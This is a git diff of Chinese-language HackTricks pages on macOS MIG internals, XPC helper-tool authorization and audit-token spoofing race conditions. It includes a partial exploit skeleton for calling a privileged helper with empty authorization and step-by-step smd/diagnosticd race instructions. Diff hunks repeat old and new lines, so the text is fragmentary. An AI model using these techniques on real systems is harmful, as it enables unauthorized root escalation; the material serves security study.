实际上可以在**`myipcServer.h`**中的**`subsystem_to_name_map_myipc`**结构中识别这种关系:
```c
#ifndef subsystem_to_name_map_myipc
#define subsystem_to_name_map_myipc \
@ -164,7 +134,7 @@ return FALSE;
检查前面突出显示的行访问要通过ID调用的函数。
以下是创建一个简单**服务器**和**客户端**的代码,其中客户端可以从服务器调用Subtract函数
以下是创建一个简单**服务器**和**客户端**的代码,其中客户端可以调用服务器的Subtract函数
{% tabs %}
{% tab title="myipc_server.c" %}
@ -200,48 +170,7 @@ mach_msg_server(myipc_server, sizeof(union __RequestUnion__SERVERPREFmyipc_subsy
```
{% endtab %}
{% tab title="myipc_client.c" %}
### macOS MIG (Mach Interface Generator)
macOS MIG (Mach Interface Generator) is a tool used to define inter-process communication (IPC) interfaces in macOS. It generates C code that handles the communication between processes using Mach messages.
MIG interfaces are defined in .defs files, which are then processed by the mig tool to generate the necessary C code for IPC. This generated code includes functions for sending and receiving messages, as well as handling complex data structures.
By understanding and manipulating MIG interfaces, an attacker could potentially abuse IPC mechanisms to escalate privileges or perform unauthorized actions on a macOS system.
### Example
```c
#include <stdio.h>
#include <mach/mach.h>
#include "myipc.h"
int main() {
mach_port_t server_port;
kern_return_t kr;
kr = bootstrap_look_up(bootstrap_port, "com.example.myipc", &server_port);
if (kr != KERN_SUCCESS) {
printf("Failed to look up server port\n");
return 1;
}
myipc_do_something(server_port);
return 0;
}
```
In this example, a client process looks up the server port using `bootstrap_look_up` and then calls a function `myipc_do_something` defined in the MIG-generated header file `myipc.h`.
By analyzing and understanding the MIG-generated code, an attacker could potentially find vulnerabilities or ways to abuse the IPC mechanism for malicious purposes.
### Mitigation
To mitigate potential abuse of MIG interfaces, it is essential to follow secure coding practices, regularly update the system to patch known vulnerabilities, and monitor IPC communications for any suspicious activities. Additionally, restricting access to sensitive IPC interfaces can help prevent unauthorized abuse.
{% endtab %}
{% tab title="myipc_client.c" %}
```c
// gcc myipc_client.c myipcUser.c -o myipc_client
@ -270,11 +199,11 @@ USERPREFSubtract(port, 40, 2);
由于许多二进制文件现在使用MIG来公开mach端口了解如何**识别使用了MIG**以及MIG在每个消息ID上执行的**功能**是很有趣的。
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2)可以解析Mach-O二进制文件中的MIG信息指示消息ID并识别要执行的函数
[**jtool2**](../../macos-apps-inspecting-debugging-and-fuzzing/#jtool2)可以从Mach-O二进制文件中解析MIG信息指示消息ID并识别要执行的函数
```bash
jtool2 -d __DATA.__const myipc_server | grep MIG
```
在之前提到的函数`myipc_server`将负责**根据接收的消息ID调用正确的函数**。然而,通常情况下你不会拥有二进制文件的符号(即没有函数名称),因此有趣的是**查看反编译后的样子**,因为它总是非常相似的(此函数的代码与暴露的函数无关):
先前提到负责根据接收到的消息ID调用正确函数的函数是`myipc_server`。然而,通常情况下你不会有二进制文件的符号(函数名称),因此有趣的是**查看反编译后的样子**,因为它总是非常相似的(此函数的代码与暴露的函数无关):
{% tabs %}
{% tab title="myipc_server反编译 1" %}
@ -282,13 +211,13 @@ jtool2 -d __DATA.__const myipc_server | grep MIG
var_10 = arg0;
var_18 = arg1;
// 初始指令以找到正确的函数指针
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f;
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
*(int32_t *)(var_18 + 0x14) = *(int32_t *)(var_10 + 0x14) + 0x64;
*(int32_t *)(var_18 + 0x10) = 0x0;
if (*(int32_t *)(var_10 + 0x14) &#x3C;= 0x1f4 &#x26;&#x26; *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
if (*(int32_t *)(var_10 + 0x14) <= 0x1f4 && *(int32_t *)(var_10 + 0x14) >= 0x1f4) {
rax = *(int32_t *)(var_10 + 0x14);
// 调用sign_extend_64以帮助识别此函数
// 这将在rax中存储需要调用的调用指针
@ -329,7 +258,7 @@ stack[-8] = r30;
var_10 = arg0;
var_18 = arg1;
// 初始指令以找到正确的函数指针
*(int32_t *)var_18 = *(int32_t *)var_10 &#x26; 0x1f | 0x0;
*(int32_t *)var_18 = *(int32_t *)var_10 & 0x1f | 0x0;
*(int32_t *)(var_18 + 0x8) = *(int32_t *)(var_10 + 0x8);
*(int32_t *)(var_18 + 0x4) = 0x24;
*(int32_t *)(var_18 + 0xc) = 0x0;
@ -338,19 +267,19 @@ var_18 = arg1;
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 > 0x0) {
if (CPU_FLAGS &#x26; G) {
if (CPU_FLAGS & G) {
r8 = 0x1;
}
}
if ((r8 &#x26; 0x1) == 0x0) {
if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
r8 = r8 - 0x1f4;
if (r8 &#x3C; 0x0) {
if (CPU_FLAGS &#x26; L) {
if (r8 < 0x0) {
if (CPU_FLAGS & L) {
r8 = 0x1;
}
}
if ((r8 &#x26; 0x1) == 0x0) {
if ((r8 & 0x1) == 0x0) {
r8 = *(int32_t *)(var_10 + 0x14);
// 0x1f4 = 500起始ID
<strong> r8 = r8 - 0x1f4;
@ -359,19 +288,19 @@ r8 = *(r8 + 0x8);
var_20 = r8;
r8 = r8 - 0x0;
if (r8 != 0x0) {
if (CPU_FLAGS &#x26; NE) {
if (CPU_FLAGS & NE) {
r8 = 0x1;
}
}
// 与前一个版本相同的if else
// 与前一个版本相同的if else
// 检查地址0x100004040函数地址数组的使用
<strong> if ((r8 &#x26; 0x1) == 0x0) {
<strong> if ((r8 & 0x1) == 0x0) {
</strong><strong> *(var_18 + 0x18) = **0x100004000;
</strong> *(int32_t *)(var_18 + 0x20) = 0xfffffed1;
var_4 = 0x0;
}
else {
// 调用计算出的地址,该地址应调用函数
// 调用计算出的地址,函数应在其中
<strong> (var_20)(var_10, var_18);
</strong> var_4 = 0x1;
}
@ -397,10 +326,12 @@ return r0;
实际上,如果你转到函数**`0x100004000`**,你会找到**`routine_descriptor`**结构体的数组。结构体的第一个元素是**函数实现的地址****结构体占用0x28字节**因此每0x28字节从字节0开始你可以获得8字节这将是将被调用的**函数的地址**
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
这些数据可以通过[**使用此Hopper脚本**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)来提取。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
这些数据可以通过[**使用此Hopper脚本**](https://github.com/knightsc/hopper/blob/master/scripts/MIG%20Detect.py)提取。
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) **和** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github 仓库提交 PR 来分享您的黑客技巧。**
</details>

View file

@ -6,10 +6,10 @@
支持HackTricks的其他方式
- 如果您想看到您的**公司在HackTricks中广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 如果您想看到您的**公司在HackTricks中广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASSHackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
@ -18,7 +18,7 @@
苹果还提出了另一种验证连接进程是否具有**调用公开XPC方法的权限**的方法。
当应用程序需要**特权用户身份执行操作**时,通常不会将应用程序作为特权用户运行,而是安装一个HelperTool作为XPC服务该服务可以从应用程序调用以执行这些操作。但是,调用服务的应用程序应具有足够的授权。
当应用程序需要**特权用户身份执行操作**时,通常不会将应用程序作为特权用户运行,而是将HelperTool作为XPC服务以root身份安装应用程序可以调用该服务执行这些操作。但是,调用服务的应用程序应具有足够的授权。
### ShouldAcceptNewConnection始终为YES
@ -74,7 +74,7 @@ if (self->_authRef) {
[self.window makeKeyAndOrderFront:self];
}
```
`Common/Common.m` 中的 `setupAuthorizationRights` 函数将应用程序的权限存储在授权数据库 `/var/db/auth.db`。请注意,它只会添加尚未在数据库中的权限:
`Common/Common.m` 中的 `setupAuthorizationRights` 函数将存储应用程序的权限到授权数据库 `/var/db/auth.db`。请注意,它只会添加尚未在数据库中的权限:
```objectivec
+ (void)setupAuthorizationRights:(AuthorizationRef)authRef
// See comment in header.
@ -106,7 +106,7 @@ assert(blockErr == errAuthorizationSuccess);
}];
}
```
`enumerateRightsUsingBlock`函数用于获取应用程序权限,这些权限在`commandInfo`中定义:
函数`enumerateRightsUsingBlock`是用来获取应用程序权限的函数,这些权限在`commandInfo`中定义:
```objectivec
static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
@ -184,15 +184,15 @@ block(authRightName, authRightDefault, authRightDesc);
}];
}
```
这意味着在此过程结束时,`commandInfo` 中声明的权限将存储在 `/var/db/auth.db` 中。请注意,您可以找到每个需要身份验证的方法的权限名称和 `kCommandKeyAuthRightDefault`。后者指示谁可以获得此权限
这意味着在此过程结束时,`commandInfo` 中声明的权限将存储在 `/var/db/auth.db` 中。请注意,在那里,您可以找到对于**每个需要身份验证的方法****权限名称**和**`kCommandKeyAuthRightDefault`**。后者**指示谁可以获得此权限**
有不同的范围来指示谁可以访问权限。其中一些在 [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity_authorization/lib/AuthorizationDB.h) 中定义(您可以在[这里找到所有内容](https://www.dssw.co.uk/reference/authorization-rights/)),但总结如下:
有不同的范围来指示谁可以访问权限。其中一些在[AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h)中定义(您可以在[这里找到所有这些](https://www.dssw.co.uk/reference/authorization-rights/)),但总结如下:
<table><thead><tr><th width="284.3333333333333">名称</th><th width="165"></th><th>描述</th></tr></thead><tbody><tr><td>kAuthorizationRuleClassAllow</td><td>allow</td><td>任何人</td></tr><tr><td>kAuthorizationRuleClassDeny</td><td>deny</td><td>无人</td></tr><tr><td>kAuthorizationRuleIsAdmin</td><td>is-admin</td><td>当前用户需要是管理员(在管理员组内)</td></tr><tr><td>kAuthorizationRuleAuthenticateAsSessionUser</td><td>authenticate-session-owner</td><td>要求用户进行身份验证。</td></tr><tr><td>kAuthorizationRuleAuthenticateAsAdmin</td><td>authenticate-admin</td><td>要求用户进行身份验证。他需要是管理员(在管理员组内)</td></tr><tr><td>kAuthorizationRightRule</td><td>rule</td><td>指定规则</td></tr><tr><td>kAuthorizationComment</td><td>comment</td><td>在权限上指定一些额外的注释</td></tr></tbody></table>
### 权限验证
`HelperTool/HelperTool.m` 中,函数 **`readLicenseKeyAuthorization`** 检查调用者是否被授权执行该方法,调用函数 **`checkAuthorization`**。此函数将检查调用进程发送的 **authData** 是否具有正确的格式,然后检查调用特定方法所需的权限。如果一切顺利,**返回的 `error` 将为 `nil`**
`HelperTool/HelperTool.m` 中,函数**`readLicenseKeyAuthorization`** 检查调用者是否被授权执行此方法,调用函数**`checkAuthorization`**。此函数将检查由调用进程发送的**authData**是否具有**正确的格式**,然后将检查**调用特定方法所需的权限**。如果一切顺利,**返回的`error`将为`nil`**
```objectivec
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
@ -264,11 +264,11 @@ security authorizationdb read com.apple.safaridriver.allow
* 这是最直接的键。如果设置为`false`,则指定用户无需提供身份验证即可获得此权限。
* 这与下面的两个之一结合使用,或指示用户必须属于的组。
2. **'allow-root': 'true'**
* 如果用户作为具有提升权限的根用户运行,并且此键设置为`true`,则根用户可能无需进一步身份验证即可获得此权限。但通常,要达到根用户状态已经需要身份验证,因此对于大多数用户来说,这不是一个“无需身份验证”的情况。
* 如果用户作为具有提升权限的根用户运行,并且此键设置为`true`,则根用户可能无需进一步身份验证即可获得此权限。但是,通常,已经需要身份验证才能获得根用户状态,因此对于大多数用户来说,这不是“无需身份验证”的情况。
3. **'session-owner': 'true'**
* 如果设置为`true`,会话所有者(当前登录的用户)将自动获得此权限。如果用户已经登录,则这可能会绕过额外的身份验证。
4. **'shared': 'true'**
* 此键不会在没有身份验证的情况下授予权限。相反,如果设置为`true`,这意味着一旦权限得到验证,它可以在多个进程之间共享,而无需每个进程重新进行身份验证。但是,除非与其他键(如`'authenticate-user': 'false'`)结合使用,否则仍需要身份验证来最初授予权限。
* 此键不会在没有身份验证的情况下授予权限。相反,如果设置为`true`,这意味着一旦权限得到验证,它可以在多个进程之间共享,而无需每个进程重新进行身份验证。但是,除非与其他键(如`'authenticate-user': 'false'`)结合使用,否则仍需要身份验证来最初授予权限。
您可以使用[此脚本](https://gist.github.com/carlospolop/96ecb9e385a4667b9e40b24e878652f9)获取有趣的权限:
```bash
@ -285,13 +285,13 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
### 检查是否使用EvenBetterAuthorization
如果找到函数:**`[HelperTool checkAuthorization:command:]`**,那么该进程可能正在使用前提到的授权模式:
如果找到函数:**`[HelperTool checkAuthorization:command:]`**,那么该进程可能正在使用前提到的授权模式:
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
如果函数调用诸如`AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree`等函数,则正在使用[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154)。
如果函数调用诸如`AuthorizationCreateFromExternalForm`、`authorizationRightForCommand`、`AuthorizationCopyRights`、`AuhtorizationFree`等函数,则正在使用[**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154)。
检查**`/var/db/auth.db`**以查看是否可能在无需用户交互的情况下获调用某些特权操作的权限。
检查**`/var/db/auth.db`**以查看是否可能在无需用户交互的情况下获调用某些特权操作的权限。
### 协议通信
@ -299,9 +299,9 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
函数**`shouldAcceptNewConnection`**指示正在导出的协议:
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
在这种情况下与EvenBetterAuthorizationSample相同[**检查此行**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
在这种情况下,我们与EvenBetterAuthorizationSample中的情况相同,[**检查此行**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94)。
知道所使用协议的名称后,可以使用以下命令**转储其头文件定义**
```bash
@ -340,10 +340,10 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
在这个示例中创建了:
- 具有函数的协议定义
- 一个空的 auth 用于请求访问权限
- 与 XPC 服务的连接
- 如果连接成功,则调用该函数
* 具有函数的协议定义
* 一个空的授权用于请求访问
* 与XPC服务的连接
* 如果连接成功,则调用该函数
```objectivec
// gcc -framework Foundation -framework Security expl.m -o expl
@ -421,7 +421,7 @@ NSLog(@"Response: %@", error);
NSLog(@"Finished!");
}
```
## 参考资料
## 参考
* [https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/](https://theevilbit.github.io/posts/secure\_coding\_xpc\_part1/)
@ -434,7 +434,7 @@ NSLog(@"Finished!");
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -45,50 +45,50 @@ Mach消息通过一个_mach端口_发送这是内置在mach内核中的**单
尽管前述情况听起来很有前途,但在某些情况下,这不会造成问题([来自此处](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)
* 审计令牌通常用于授权检查,以决定是否接受连接。由于这是使用消息发送到服务端口进行的,因此**尚未建立连接**。在此端口上的更多消息将只被处理为附加连接请求。因此,**在接受连接之前的任何检查都不会有漏洞**(这也意味着在`-listener:shouldAcceptNewConnection:`中审计令牌是安全的)。因此,我们**正在寻找验证特定操作的XPC连接**。
* 审计令牌通常用于授权检查,以决定是否接受连接。由于这是使用消息发送到服务端口进行的,**尚未建立连接**。在此端口上的更多消息将只被处理为附加连接请求。因此,**在接受连接之前的任何检查都不会有漏洞**(这也意味着在`-listener:shouldAcceptNewConnection:`中审计令牌是安全的)。因此,我们**正在寻找验证特定操作的XPC连接**。
* XPC事件处理程序是同步处理的。这意味着一个消息的事件处理程序必须在调用下一个消息的事件处理程序之前完成即使在并发调度队列上也是如此。因此在**XPC事件处理程序内部审计令牌不能被其他正常非回复消息覆盖**。
这可能会利用两种不同方法:
这可能会利用两种不同方法:
1. 变体1
* **利用**连接到服务**A**和服务**B**
* 服务**B**可以调用服务**A**中用户无法执行的**特权功能**
* 服务**A**在**不在****事件处理程序**中调用**`xpc_connection_get_audit_token`**
* 服务**A**在**不在****事件处理程序**中调用**`xpc_connection_get_audit_token`**。
* 因此,**不同的**消息可能会**覆盖审计令牌**,因为它是在事件处理程序之外异步调度的。
* 攻击将**服务A的SEND权限**传递给**服务B**。
* 因此svc **B**实际上将**消息发送**到服务**A**。
* 攻击尝试**调用****特权操作**。在一个RC svc **A**中,**检查**此**操作**的授权,而**svc B覆盖了审计令牌**(使攻击可以访问调用特权操作)。
* 攻击将**向服务A传递SEND权限**。
* 因此svc **B**实际上将**发送**消息到服务**A**。
* **利用**尝试**调用****特权操作**。在RC svc **A** **检查**此**操作**的授权,而**svc B覆盖了审计令牌**(使攻击获得调用特权操作的权限)。
2. 变体2
* 服务**B**可以调用服务**A**中用户无法执行的**特权功能**
* 攻击连接到**服务A****发送**期望响应的消息到特定**回复端口**的**exploit**。
* 攻击向**服务B**发送一条消息,传递**该回复端口**。
* 当服务**B回复**时,它将**消息发送到服务A****而**攻击**向服务A发送不同的消息**,试图**达到特权功能**并期望来自服务B的回复将在完美时机覆盖审计令牌(竞争条件)。
* 利用与**服务A**建立连接**发送**期望响应的消息到特定**回复端口**。
* 利用向**服务**B发送消息,传递**该回复端口**。
* 当服务**B回复**时,它将**发送消息到服务A****同时**利用发送不同的**消息到服务A**,尝试**达到特权功能**并期望服务B的回复在完美时机覆盖审计令牌(竞争条件)。
## 变体1在事件处理程序之外调用xpc\_connection\_get\_audit\_token <a href="#variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler" id="variant-1-calling-xpc_connection_get_audit_token-outside-of-an-event-handler"></a>
场景:
* 两个Mach服务**`A`**和**`B`**,我们都可以连接到(基于沙箱配置文件和接受连接前的授权检查)。
* 两个我们都可以连接的mach服务**`A`**和**`B`**(基于沙箱配置文件和接受连接前的授权检查)。
* _**A**_必须对**`B`**可以通过的特定操作进行**授权检查**(但我们的应用程序不能)。
* 例如如果B具有某些**授权**或以**root**身份运行则可能允许其要求A执行特权操作。
* 对于此授权检查,**`A`**通过异步方式获取审计令牌,例如通过从**`dispatch_async`**调用`xpc_connection_get_audit_token`。
{% hint style="danger" %}
在这种情况下,攻击者可以触发**竞争条件**,制作一个**请求A执行操作**的**exploit**,同时使**B发送消息到`A`**。当RC**成功**时,**B**的**审计令牌**将被复制到内存中,**而**我们**exploit**的请求正在被**A处理**使其可以访问只有B可以请求的特权操作。
在这种情况下,攻击者可以触发**竞争条件**,制作一个**请求A执行操作**的**利用**,同时让**B发送消息到`A`**。当RC**成功**时,**B**的**审计令牌**将被复制到内存中,**同时**我们**利用**的请求正在被**A处理**,使其能够访问只有**B**可以请求的特权操作。
{% endhint %}
这发生在**`A`**作为`smd`**`B`**作为`diagnosticd`的情况下。从smb中的函数[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)可以用于安装新的特权助手工具(作为**root**)。如果以**root**身份运行的进程联系**smd**不会执行其他检查。
这发生在**`A`**作为`smd`**`B`**作为`diagnosticd`的情况下。函数[`SMJobBless`](https://developer.apple.com/documentation/servicemanagement/1431078-smjobbless?language=objc)从smb中可以用作安装新的特权助手工具(作为**root**)。如果以**root**身份运行的进程联系**smd**不会执行其他检查。
因此,服务**B**是**`diagnosticd`**,因为它以**root**身份运行,可用于**监视**进程,因此一旦监视开始,它将**每秒发送多消息。**
因此,服务**B**是**`diagnosticd`**,因为它以**root**身份运行,可用于**监视**进程,因此一旦监视开始,它将**每秒发送多消息。**
执行攻击的步骤:
1. 使用标准XPC协议向名为`smd`的服务发起**连接**。
2. 与正常程序相反,形成与`diagnosticd`的次要**连接**。而不是创建并发送两个新的mach端口客户端端口发送权限被替换为与`smd`连接相关联的**发送权限**的副本
3. 结果XPC消息可以被分派到`diagnosticd`,但来自`diagnosticd`的响应被重新路由到`smd`。对于`smd`,似乎来自用户和`diagnosticd`的消息都是来自同一连接。
1. 使用标准XPC协议**建立**到名为`smd`的服务的**连接**。
2. 形成到`diagnosticd`的次要**连接**。与正常程序相反不是创建并发送两个新的mach端口而是用与`smd`连接关联的**发送权限**的副本替换客户端端口发送权限
3. 结果XPC消息可以被分派到`diagnosticd`,但`diagnosticd`的响应被重新路由到`smd`。对于`smd`,似乎来自用户和`diagnosticd`的消息都是来自同一连接。
![描绘攻击过程的图像](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/exploit.png)
4. 下一步涉及指示`diagnosticd`启动对所选进程(可能是用户自己的进程)的监视。同时,向`smd`发送一大堆常规的1004消息。这里的意图是安装一个具有提升权限的工具。
4. 下一步涉及指示`diagnosticd`启动对所选进程(可能是用户自己的进程)的监视。同时,向`smd`发送一连串的常规1004消息。这里的意图是安装一个具有提升权限的工具。
5. 这个操作触发了`handle_bless`函数内的竞争条件。时机至关重要:`xpc_connection_get_pid`函数调用必须返回用户进程的PID因为特权工具位于用户的应用程序包中。然而`xpc_connection_get_audit_token`函数,特别是在`connection_is_authorized`子例程内,必须引用属于`diagnosticd`的审计令牌。
## 变种2回复转发
@ -105,30 +105,30 @@ Mach消息通过一个_mach端口_发送这是内置在mach内核中的**单
* 两个名为**`A`**和**`B`**的mach服务两者都可以建立连接。
* 服务**`A`**应包含一个授权检查,用于执行只有**`B`**可以执行的特定操作(用户的应用程序无法执行)。
* 服务**`A`**应发送一条期望回复的消息。
* 用户可以向**`B`**发送一条它将回复的消息。
* 用户可以向**`B`**发送一条它将回复的消息。
利用过程包括以下步骤:
1. 等待服务**`A`**发送一条期望回复的消息。
2. 不直接回复**`A`**,而是劫持回复端口并用于向服务**`B`**发送消息。
2. 不直接回复**`A`**,而是劫持回复端口并用于向服务**`B`**发送一条消息。
3. 随后,发送涉及被禁止操作的消息,期望它将与**`B`**的回复同时处理。
下面是描述的攻击场景的可视化表示:
![https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png](../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png)
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
<figure><img src="../../../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/variant2.png" width="563"><figcaption></figcaption></figure>
## 发现问题
* **定位实例困难**静态和动态方面搜索`xpc_connection_get_audit_token`使用实例是具有挑战性的
* **方法论**使用Frida来挂钩`xpc_connection_get_audit_token`函数,过滤不是源自事件处理程序的调用。然而,这种方法受限于被挂钩进程,并且需要主动使用。
* **分析工具**使用IDA/Ghidra来检查可达的mach服务但这个过程耗时复杂性增加了调用涉及dyld共享缓存的复杂性
* **脚本限制**:尝试为从`dispatch_async`块到`xpc_connection_get_audit_token`的调用编写脚本受到解析块和与dyld共享缓存的交互复杂性的阻碍。
* **定位实例困难**:静态和动态搜索`xpc_connection_get_audit_token`使用实例都具有挑战性
* **方法论**使用Frida来挂钩`xpc_connection_get_audit_token`函数,过滤不是源自事件处理程序的调用。然而,这种方法仅限于被挂钩的进程,并且需要主动使用。
* **分析工具**使用IDA/Ghidra来检查可达的mach服务但这个过程耗时复杂性增加了与dyld共享缓存相关的调用
* **脚本限制**:尝试为从`dispatch_async`块到`xpc_connection_get_audit_token`的调用编写脚本由于解析块和与dyld共享缓存的交互复杂性受到阻碍。
## 修复 <a href="#the-fix" id="the-fix"></a>
* **报告的问题**:向苹果提交了一份报告,详细说明了在`smd`中发现的一般和具体问题。
* **报告的问题**:向Apple提交了一份报告,详细说明了在`smd`中发现的一般和具体问题。
* **苹果的回应**:苹果通过将`xpc_connection_get_audit_token`替换为`xpc_dictionary_get_audit_token`来解决了`smd`中的问题。
* **修复的性质**`xpc_dictionary_get_audit_token`函数被认为是安全的因为它直接从与接收到的XPC消息相关联的mach消息中检索审计令牌。然而它不是公共API的一部分类似于`xpc_connection_get_audit_token`。
* **缺乏更广泛的修复**:目前尚不清楚为什么苹果没有实施更全面的修复,比如丢弃与连接的保存的审计令牌不符的消息。在某些情况下(例如`setuid`使用),合法审计令牌更改的可能性可能是一个因素。

View file

@ -6,11 +6,11 @@
支持 HackTricks 的其他方式:
* 如果您想在 HackTricks 中看到您的**公司广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) 上**关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**
- 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
- 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏
- **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注**我们。
- 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
@ -70,11 +70,11 @@ perl -e 'print join("\n", @INC)'
但请注意,您需要是 root 用户才能在该文件夹中写入,并且现在您将会收到这个 **TCC 提示**
{% endhint %}
